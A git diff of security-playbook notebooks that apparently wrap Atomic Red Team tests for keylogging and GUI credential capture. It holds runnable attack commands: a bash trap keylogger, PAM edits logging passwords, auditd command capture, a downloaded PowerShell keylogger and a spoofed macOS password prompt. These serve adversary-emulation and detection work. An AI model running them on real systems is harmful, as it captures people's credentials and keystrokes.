"metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nBy changing the output of network sniffing utilities normally found on a system, you can prevent adversaries from seeing particular content or making use of the results at all.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -496,13 +617,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1056.001.ipynb b/playbook/tactics/credential-access/T1056.001.ipynb index e97c9d51..bc04009a 100644 --- a/playbook/tactics/credential-access/T1056.001.ipynb +++ b/playbook/tactics/credential-access/T1056.001.ipynb @@ -2,123 +2,123 @@ "cells": [ { "cell_type": "markdown", - "id": "841f984a", + "id": "8f378f38", "metadata": {}, - "source": "# T1056.001 - Keylogging\nAdversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) " + "source": "# T1056.001 - Keylogging\nAdversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) " }, { "cell_type": "markdown", - "id": "09c70e7e", + "id": "ffc07d38", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "51413d61", + "id": "c621130d", "metadata": {}, - "source": "### Atomic Test #1 - Input Capture\nUtilize PowerShell and external resource to capture keystrokes\n[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)\nProvided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)\n\nUpon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1 \n\n```" + "source": "### Atomic Test #1 - Input Capture\nUtilize PowerShell and external resource to capture keystrokes\n[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)\nProvided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)\n\nUpon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\") -Force | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile \"PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c9c26c50", + "id": "add6b1fc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f94a9f8b", + "id": "1d406ac9", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1 -LogPath $env:TEMP\\key.log\n```" + "```powershell\n&\"$PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\" -LogPath $env:TEMP\\key.log\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "29e826b2", + "id": "d60a0094", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5f012e61", + "id": "84acd8eb", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\key.log -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "16406ec6", + "id": "4ba5a4a1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "1848e3d8", + "id": "ff08d04f", "metadata": {}, "source": "### Atomic Test #2 - Living off the land Terminal Input Capture on Linux with pam.d\nPluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log. All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.\n\nPasswords hidden by the console can also be logged, with 'log_passwd' as in this example. If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command).\n\nUse 'aureport --tty' or other audit.d reading tools to read the log output, which is binary. Mac OS does not currently contain the pam_tty_audit.so library. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Checking if pam_tty_audit.so is installed\n\n##### Check Prereq Commands:\n```sh\ntest -f '/usr/lib/pam/pam_tty_audit.so -o /usr/lib64/security/pam_tty_audit.so'\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Sorry, you must install module pam_tty_audit.so and recompile, for this test to work\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "17e4be11", + "id": "89fabc2f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9ba1a2da", + "id": "0d625db1", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nif sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk sudo touch /tmp/system-auth.bk sudo echo \"session required pam_tty_audit.so enable=* log_password\" >> /etc/pam.d/password-auth sudo echo \"session required pam_tty_audit.so enable=* log_password\" >> /etc/pam.d/system-auth```" + "```sh\nif sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;\nif sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;\nsudo touch /tmp/password-auth.bk\nsudo touch /tmp/system-auth.bk sudo echo \"session required pam_tty_audit.so\nenable=* log_password\" >> /etc/pam.d/password-auth sudo echo \"session required pam_tty_audit.so\nenable=* log_password\" >> /etc/pam.d/system-auth\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "483ff2d8", + "id": "5ff70e39", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "22d3b9bd", + "id": "5d54949a", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth\nsudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9437f9b6", + "id": "9d5f6483", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "f6a0c162", + "id": "b40f28cd", "metadata": {}, "source": "### Atomic Test #3 - Logging bash history to syslog\nThere are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable and can be configured to write the latest \"bash history\" entries to the syslog.\n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires to be run in a bash shell and that logger and tee are installed.\n\n##### Check Prereq Commands:\n```sh\nif [ \"$(echo $SHELL)\" != \"/bin/bash\" ]; then echo -e \"\\n***** Bash not running! *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v logger)\" ]; then echo -e \"\\n***** logger NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v tee)\" ]; then echo -e \"\\n***** tee NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f8eba151", + "id": "b2dc8197", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e944116d", + "id": "1b43df18", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -128,177 +128,222 @@ { "cell_type": "code", "execution_count": null, - "id": "57b2a77c", + "id": "c3e9c563", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "fc22656a", + "id": "106a794b", "metadata": {}, "source": "#### Cleanup: \n```sh\nunset PROMPT_COMMAND\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d24ab16f", + "id": "2d6a712b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "0bf7d0fb", + "id": "dff52a7d", "metadata": {}, - "source": "### Atomic Test #4 - Bash session based keylogger\nWhen a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. \n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires to be run in a bash shell\n\n##### Check Prereq Commands:\n```sh\nif [ \"$(echo $SHELL)\" != \"/bin/bash\" ]; then echo -e \"\\n***** Bash not running! *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #4 - Logging sh history to syslog/messages\nThere are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable and can be configured to write the latest \"bash history\" entries to the syslog.\n\nTo gain persistence the command could be added to the users .shrc or .profile \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires to be run in a bash shell and that logger and tee are installed.\n\n##### Check Prereq Commands:\n```sh\nif [ \"$(echo $SHELL)\" != \"/bin/sh\" ]; then echo -e \"\\n***** sh not running! *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v logger)\" ]; then echo -e \"\\n***** logger NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "71577252", + "id": "9b5288c3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "66f6b3ec", + "id": "d69fe666", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\ntrap 'echo \"$(date +\"%d/%m/%y %H:%M:%S.%s\") $USER $BASH_COMMAND\" >> /tmp/.keyboard.log' DEBUG\necho \"Hello World!\"\ncat /tmp/.keyboard.log\n```" + "```sh\nPS2=`logger -t \"$USER\" -f ~/.sh_history`\n$PS2\ntail /var/log/messages\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "4addaa16", + "id": "1193fee0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "990ceeda", + "id": "879e7526", "metadata": {}, - "source": "#### Cleanup: \n```sh\nrm /tmp/.keyboard.log\n```" + "source": "#### Cleanup: \n```sh\nunset PS2\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c0ac764a", + "id": "54156908", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "d917e87f", + "id": "0b660ce0", "metadata": {}, - "source": "### Atomic Test #5 - SSHD PAM keylogger\nLinux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires sshd and auditd\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v sshd)\" ]; then echo -e \"\\n***** sshd NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v auditd)\" ]; then echo -e \"\\n***** auditd NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #5 - Bash session based keylogger\nWhen a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. \n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires to be run in a bash shell\n\n##### Check Prereq Commands:\n```bash\nif [ \"$(echo $0)\" != \"bash\" ]; then echo -e \"\\n***** Bash not running! *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d2654b17", + "id": "d0cd7e2f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "cd22df36", + "id": "b3e59ac2", "metadata": {}, "source": [ - "#### Attack Commands: Run with `sh`\n", - "```sh\ncp -v /etc/pam.d/sshd /tmp/\necho \"session required pam_tty_audit.so disable=* enable=* open_only log_passwd\" >> /etc/pam.d/sshd\nsystemctl restart sshd\nsystemctl restart auditd\nssh ubuntu@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit\n```" + "#### Attack Commands: Run with `bash`\n", + "```bash\ntrap 'echo \"$(date +\"%d/%m/%y %H:%M:%S.%s\") $USER $BASH_COMMAND\" >> /tmp/.keyboard.log' DEBUG\necho \"Hello World!\"\ncat /tmp/.keyboard.log\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6803f9dc", + "id": "ff892c89", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "ec039b42", + "id": "bde48437", "metadata": {}, - "source": "#### Cleanup: \n```sh\ncp -fv /tmp/sshd /etc/pam.d/\n```" + "source": "#### Cleanup: \n```bash\nrm /tmp/.keyboard.log\n```" }, { "cell_type": "code", "execution_count": null, - "id": "13450037", + "id": "0f470575", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "f0d2e911", + "id": "81355d99", "metadata": {}, - "source": "### Atomic Test #6 - Auditd keylogger\nThe linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires sshd and auditd\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v auditd)\" ]; then echo -e \"\\n***** auditd NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #6 - SSHD PAM keylogger\nLinux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires sshd and auditd\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v sshd)\" ]; then echo -e \"\\n***** sshd NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v auditd)\" ]; then echo -e \"\\n***** auditd NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9f840072", + "id": "5cccc557", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "67eae0c4", + "id": "6649b700", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nauditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start $(date +\"%d/%m/%y %H:%M:%S\") \n```" + "```sh\ncp -v /etc/pam.d/sshd /tmp/\necho \"session required pam_tty_audit.so disable=* enable=* open_only log_passwd\" >> /etc/pam.d/sshd\nsystemctl restart sshd\nsystemctl restart auditd\nssh ubuntu@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "443fb2be", + "id": "89e82ad7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "1e72744c", + "id": "7810a32b", "metadata": {}, - "source": "#### Cleanup: \n```sh\nsystemctl restart auditd\n```" + "source": "#### Cleanup: \n```sh\ncp -fv /tmp/sshd /etc/pam.d/\n```" }, { "cell_type": "code", "execution_count": null, - "id": "18c6d76e", + "id": "fab9b18e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "27585d6e", + "id": "575f6bf4", "metadata": {}, - "source": "### Atomic Test #7 - MacOS Swift Keylogger\nUtilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.\nInput Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.\nReferece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: swift script must exist at #{swift_src}, and the terminal must have input monitoring permissions.\n\n##### Check Prereq Commands:\n```bash\nif [ -f PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift ]; then chmod +x PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\necho \"\"\n\n```" + "source": "### Atomic Test #7 - Auditd keylogger\nThe linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires sshd and auditd\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v auditd)\" ]; then echo -e \"\\n***** auditd NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5245f9e3", + "id": "9990556f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "889f9026", + "id": "69df2e0b", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nauditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start $(date +\"%d/%m/%y %H:%M:%S\") \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5c49de44", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1056.001 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "09e4f3b3", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsystemctl restart auditd\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "641dc302", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1056.001 -TestNumbers 7 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "a5d15cc7", + "metadata": {}, + "source": "### Atomic Test #8 - MacOS Swift Keylogger\nUtilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.\nInput Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.\nReferece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: swift script must exist at #{swift_src}, and the terminal must have input monitoring permissions.\n\n##### Check Prereq Commands:\n```bash\nif [ -f PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift ]; then chmod +x PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\necho \"\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a244bac3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1056.001 -TestNumbers 8 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "ff032b9d", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -308,28 +353,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ce091be4", + "id": "ecb56769", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1056.001 -TestNumbers 7" + "source": "Invoke-AtomicTest T1056.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "b3f4ae26", + "id": "8b766683", "metadata": {}, "source": "#### Cleanup: \n```bash\nkill `pgrep swift-frontend`\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f44f7e34", + "id": "2c3a24fc", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1056.001 -TestNumbers 7 -Cleanup" + "source": "Invoke-AtomicTest T1056.001 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "0e10083d", + "id": "5e2cdb86", "metadata": {}, "source": "## Detection\nKeyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes." } @@ -337,13 +382,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1056.002.ipynb b/playbook/tactics/credential-access/T1056.002.ipynb index ab889d45..5b152790 100644 --- a/playbook/tactics/credential-access/T1056.002.ipynb +++ b/playbook/tactics/credential-access/T1056.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "7568515c", + "id": "99555df6", "metadata": {}, "source": "# T1056.002 - GUI Input Capture\nAdversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) " }, { "cell_type": "markdown", - "id": "67d9dea0", + "id": "1c47f15a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f9fa2b3b", + "id": "9d484707", "metadata": {}, "source": [ "### Atomic Test #1 - AppleScript - Prompt User for Password", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "6e7f4bcc", + "id": "506fc80f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "978e4313", + "id": "007adf81", "metadata": {}, "source": [ "### Atomic Test #2 - PowerShell - Prompt User for Password", @@ -47,14 +47,34 @@ { "cell_type": "code", "execution_count": null, - "id": "f2dfecfb", + "id": "09fa60a6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "ccc73834", + "id": "dd892d24", + "metadata": {}, + "source": [ + "### Atomic Test #3 - AppleScript - Spoofing a credential prompt using osascript", + "Prompt user for password without requiring permissions to send Apple events to System Settings.\nhttps://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/\n", + "**Supported Platforms:** macos", + "#### Attack Commands: Run with `bash`\n", + "```bash\nPWD_SPOOF=$(osascript -e 'display dialog \"To perform a security update MacOS needs your passphrase.\" with title \"MacOS Security Update\" default answer \"\" with icon stop with hidden answer')\necho $PWD_SPOOF\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d2e5ba22", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1056.002 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "748af7c4", "metadata": {}, "source": "## Detection\nMonitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history 